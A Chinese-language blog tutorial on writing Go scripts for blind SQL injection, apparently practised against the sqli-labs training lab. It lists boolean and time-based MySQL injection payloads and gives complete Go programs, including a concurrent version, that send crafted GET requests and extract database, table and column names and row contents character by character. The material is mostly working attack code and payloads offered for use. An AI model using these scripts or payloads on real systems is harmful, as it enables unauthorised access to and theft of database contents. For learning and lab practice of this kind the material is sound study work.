Golang 盲注脚本

payload部分

其中脚本最重要的环节就是payload部分了,需要如何去闭合,如何构造SQL语句来达到判断的效果。(还有如何绕过waf等等。。。)

bool盲注

下面是最基础的布尔型盲注的payload

' and length(database()=n)--+

' and (ascii(substr(database(),1))=110 --+

' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=2 --+

' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=128) --+

' and length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2--+

' and length((select id from emails limit 0,1)>1)--+

时间盲注

下面是时间盲注的payload

' and sleep(3)--+
' and if(length(database())=8,sleep(3),1)--+
' and if( payload ,sleep(3),1)--+
' and if((ascii(substr(database(),1))=115),sleep(3),1)--

脚本思路

脚本思路也比较简单(只针对GET型注入,POST型同理)

布尔型

对于布尔型盲注,配合构造好的payload发起GET请求,检查响应体中是否有我们的判断依据。先判断出库名、字段名、表名对应的长度,将其作为参数构造循环,搭配limit来逐位判断。

package main

import (
"fmt"
"io/ioutil"
"log"
"net/http"
"net/url"
"strings"
)
//发送get请求
func getRequest(payload string) bool{
payload = url.QueryEscape(payload)
resp, err1 := http.Get(urlL + payload)
if err1 != nil {
log.Fatalln(err1)
}
body, err2:= ioutil.ReadAll(resp.Body)
if err2 != nil {
log.Fatalln(err2)
}
defer resp.Body.Close()
if strings.Contains(string(body), "You are in...........") {
return true
}
return false
}
//判断长度的方法
func testLength(payload string) int {
var result int
for i := 0; i < 50; i++ {
payloadDbLength := fmt.Sprintf("' and length(%s)=%d-- ", payload, i)
f := getRequest(payloadDbLength)
if f {
result = i
break
} }
return result
}
//逐位判断的方法
func testName(payload string, length int) string{
var result string
for i := 1; i <= length; i++ {
for j :=32 ; j <= 128; j++ {
payloadDbName := fmt.Sprintf("' and (ascii(substr(%s,%d))=%d)-- ", payload, i, j)
f := getRequest(payloadDbName)
if f {
result += string(rune(j))
fmt.Println(result)
}
} }
return result
}
//该方法用于指定字段和表名的判断,需要给定参数表名和字段名
func testContext(tableName, columnName string) {
ctxList := make([]string,0)
for i := 0; i < 50; i++ {
ctxPayload := fmt.Sprintf("(select %s from %s limit %d,1)", columnName, tableName, i)
ctxLength := testLength(ctxPayload)
if ctxLength == 0 {
break
}
ctx := testName(ctxPayload,ctxLength)
ctxList = append(ctxList, ctx)
fmt.Println(ctx)
}
fmt.Println(ctxList)
} func sqlInjectBaseBool() {
dbPayload := "database()"
dbLength = testLength(dbPayload)
fmt.Println(dbLength)
dbName = testName(dbPayload,dbLength)
test = ""
fmt.Println(dbName)
for i := 0; i < 20; i++ {
tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i)
tableLength := testLength(tablePayload)
if tableLength == 0 {
break
}
tableName := testName(tablePayload, tableLength)
test = ""
tableList = append(tableList, tableName)
fmt.Println(tableName)
}
fmt.Println(tableList)
//tableList := []string{"emails", "referers", "uagents", "users"} for _, tableName := range tableList {
columnList := make([]string,0)
fmt.Println(tableName)
for i := 0; i < 20; i++ {
columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i)
columnLength := testLength(columnPayload)
if columnLength == 0{
break
}
columnName := testName(columnPayload,columnLength)
test = ""
columnList = append(columnList, columnName) }
tableAndColumns[tableName] = columnList
}
fmt.Println(tableAndColumns) }

时间型

同上布尔型,发送GET请求,不过判断的依据位服务器的响应时长是否超过了我们sleep()函数中设定的时间。

package main

import (
"fmt"
"log"
"net/http"
"net/url"
"time"
)
//发送get请求。判断响应时长是否大于预定时间
func getRequestBaseTime(payload string) bool{
payload = url.QueryEscape(payload)
//fmt.Println(payload)
startTime := time.Now()
resp, err1 := http.Get(urlL + payload)
if err1 != nil {
log.Fatalln(err1)
}
defer resp.Body.Close()
endTime := time.Now()
usedTime := endTime.Sub(startTime) if usedTime >= 3 * time.Second {
return true
} return false
}
//判断长度的方法
func testLengthBaseTime(payload string) int {
var result int
for i := 0; i < 50; i++ {
payloadDbLength := fmt.Sprintf("' and if(length(%s)=%d,sleep(3),1)-- ", payload, i)
f := getRequestBaseTime(payloadDbLength)
if f {
result = i
break
} }
return result
}
//判断表名、库名等的方法
func testNameBaseTime(payload string, length int) string{
var result string
for i := 1; i <= length; i++ {
for j :=32 ; j <= 128; j++ {
payloadDbName := fmt.Sprintf("' and if((ascii(substr(%s,%d))=%d),sleep(3),1)-- ", payload, i, j)
f := getRequestBaseTime(payloadDbName)
if f {
result += string(rune(j))
fmt.Println(result)
}
} }
return result
} func sqlInjectBaseTime() {
dbPayload := "database()"
dbLength = testLengthBaseTime(dbPayload)
fmt.Println(dbLength)
dbName = testNameBaseTime(dbPayload,dbLength)
test = ""
fmt.Println(dbName)
for i := 0; i < 20; i++ {
tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i)
tableLength := testLength(tablePayload)
if tableLength == 0 {
break
}
tableName := testNameBaseTime(tablePayload, tableLength)
test = ""
tableList = append(tableList, tableName)
fmt.Println(tableName)
}
fmt.Println(tableList)
//tableList := []string{"emails", "referers", "uagents", "users"} for _, tableName := range tableList {
columnList := make([]string,0)
fmt.Println(tableName)
for i := 0; i < 20; i++ {
columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i)
columnLength := testLengthBaseTime(columnPayload)
if columnLength == 0{
break
}
columnName := testNameBaseTime(columnPayload,columnLength)
test = ""
columnList = append(columnList, columnName) }
tableAndColumns[tableName] = columnList
}
fmt.Println(tableAndColumns) }

关于并发

下面代码是对布尔型盲注的并发代码。时间上大概会快一倍。

在逐位进行猜解时,通过循环添加工人(添加线程),对ascii值进行多线程的判断。

逻辑也比较简单,时间盲注也可以使用此逻辑。。

但是仍存在问题没有解决:程序刚开始执行速度很快,但是到后面速度会下降到与不并发一样。。不太理解这里存在的问题。。。

package main

import (
"fmt"
"sync"
) func sqlInject() {
dbPayload := "database()"
dbLength = testLength(dbPayload)
fmt.Println(dbLength)
dbName = testWorker(dbPayload,dbLength)
test = ""
fmt.Println(dbName)
for i := 0; i < 20; i++ {
tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i)
tableLength := testLength(tablePayload)
if tableLength == 0 {
break
}
tableName := testWorker(tablePayload, tableLength)
test = ""
tableList = append(tableList, tableName)
fmt.Println(tableName)
}
fmt.Println(tableList)
//tableList := []string{"emails", "referers", "uagents", "users"} for _, tableName := range tableList {
columnList := make([]string,0)
fmt.Println(tableName)
for i := 0; i < 20; i++ {
columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i)
columnLength := testLength(columnPayload)
if columnLength == 0{
break
}
columnName := testWorker(columnPayload,columnLength)
test = ""
columnList = append(columnList, columnName) }
tableAndColumns[tableName] = columnList
}
fmt.Println(tableAndColumns) } //工人函数,从asciiCode这个通道内取出数据来判断。。
func worker(asciiCode chan int, payload string, i int, wg *sync.WaitGroup) {
for code := range asciiCode {
payloadDbName := fmt.Sprintf("' and (ascii(substr(%s,%d))=%d)-- ", payload, i, code)
f := getRequest(payloadDbName)
if f {
test += string(rune(code))
fmt.Println(test)
//close(asciiCode)
}
wg.Done()
}
} func testWorker(payload string, length int) string{
//var result string
var wg sync.WaitGroup
for j := 1; j <= length; j++ {
//缓冲通道的容量也可以设置的大一些,可以稍微提升性能。
asciiCode := make(chan int,10)
for i := 0; i < 10; i++ {
go worker(asciiCode, payload, j, &wg)
} for i := 32; i <= 128; i++{
wg.Add(1)
asciiCode <- i
}
wg.Wait()
close(asciiCode) }
return test
}

踩坑

发起的GET请求中,URL字符串必须先进行编码。

如果直接使用GO的方法发起请求,由于字符串时没有经过编码处理的,特殊符号无法被服务器识别,就会产生400报错。

可以先手工对要发起的请求进行URL编码,也可以使用url.QueryEscape()

当你使用此函数时,会返回一个经过编码的字符串,其中所有的特殊符号都会经过编码。但是通常注入时,在URL中输入的+会被认为是一个空格。所以在payload中需要把+号换成空格。

Golang 盲注脚本的更多相关文章

  1. 利用java编写的盲注脚本

    之前在网上见到一个盲注的题目,正好闲来无事,便用java写了个盲注脚本,并记录下过程中的坑 题目源码: <?php header("Content-Type: text/html;ch ...

  2. WEB安全 ACCESS 注入、盲注脚本

    http://www.xxx.cn/cp.asp?classid=3http://www.xxx.cn/cp.asp?classid=3 and //有拦截关键字http://www.xxx.cn/c ...

  3. 盲注脚本2.基于bool

    盲注脚本2.基于bool #!/usr/bin/env python #encoding:utf-8 #by i3ekr #using # python sqlinject.py -D "数 ...

  4. 动态调试|Maccms SQL 注入分析(附注入盲注脚本)

    0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...

  5. 【Python】测试布尔型盲注脚本

    sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys impo ...

  6. 用python写一个自动化盲注脚本

    前言 当我们进行SQL注入攻击时,当发现无法进行union注入或者报错等注入,那么,就需要考虑盲注了,当我们进行盲注时,需要通过页面的反馈(布尔盲注)或者相应时间(时间盲注),来一个字符一个字符的进行 ...

  7. 时间盲注脚本.py

    时间盲注脚本 #!/usr/bin/env python # -*- coding: utf-8 -*- import requests import time payloads = 'abcdefg ...

  8. PHP正则表达式二分法实现mysql盲注脚本

    $sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'; $sPost = 'inject=Inject&injection='; $sCharset = 'AB ...

  9. 实验吧之【who are you?】(时间盲注)补充

    第二种方法 使用brup进行盲注  也是一个道理 不多贴了 这里提一下  burp怎么判断超时 Options->Connections->Tiimeouts->Normal这一空 ...

随机推荐

  1. CTF中常见密码学

    前言 参考,我们任课老师的WORD和PPT,结合自己的理解,在结合网上文章的理解. 一.BASE64编码 BASE64编码中,特征和所拥有的字符字母:A-Z a-z;数字:0-9;符号:+ / ,然后 ...

  2. 69. Sqrt(x) - LeetCode

    Question 69. Sqrt(x) Solution 题目大意: 求一个数的平方根 思路: 二分查找 Python实现: def sqrt(x): l = 0 r = x + 1 while l ...

  3. node-sass,sass-loader和node之间的关系

    vue-cli运行在node平台上scss语言是运行在 node-sass平台上node-sass的运行环境是node平台vue-cli工程中不识别scss语法,.scss模块,sass-loader ...

  4. Python模块Ⅰ

    Python模块Ⅰ part1 模块的定义/取别名 自定义模块 什么是模块:模块的本质就是.py文件,封装语句的最小单位 模块中出现的变量,for循环,if结构,函数定义...称为模块成员 模块的运行 ...

  5. vue新手入门之使用vue框架搭建用户登录注册案例,手动搭建webpack+Vue项目(附源码,图文详解,亲测有效)

    前言 本篇随笔主要写了手动搭建一个webpack+Vue项目,掌握相关loader的安装与使用,包括css-loader.style-loader.vue-loader.url-loader.sass ...

  6. 【Windbg】记一次线程卡主的问题

    测试告诉我们定时任务没有执行了,排查相关日志,只有开始执行,没有执行结束.估计是什么地方卡主了. 所以dump分析日志 先检查一下加载情况 !eeversion 线程卡主了,先看线程 !runaway ...

  7. SpringBoot Restful 接口实现

    目录 SpringBoot 核心注解 SpringBoot Restful 接口实现 封装响应数据 SpringBoot 核心注解 SpringBoot 基础入门 注解 说明 Component 声明 ...

  8. Charles如何抓取https请求-移动端+PC端

    Charles安装完成,默认只能抓取到http请求,如果查看https请求,会显示unkonw或其它之类的响应.所以需要先进行一些配置,才能抓取到完整的https请求信息.下面针对PC端和手机端抓包的 ...

  9. redis如何实现数据同步

    redis如何实现数据同步 两种,1全同步,2部分同步 全备份: 在slave启动时会向master发送sync消息,master收到slave这条消息之后,将启动后台备份进程,备份完成之后,将备份数 ...

  10. 当JAVA注解、AOP、SpEL相遇,更多可能变为了现实

    常规情况下,我们可以通过业务定制化的注解,借助AOP机制来实现某些通用的处理策略.比如定义个@Permission注解,可以用于标识在具体的方法上,然后用来指定某个方法必须要指定角色的人才能够访问调用 ...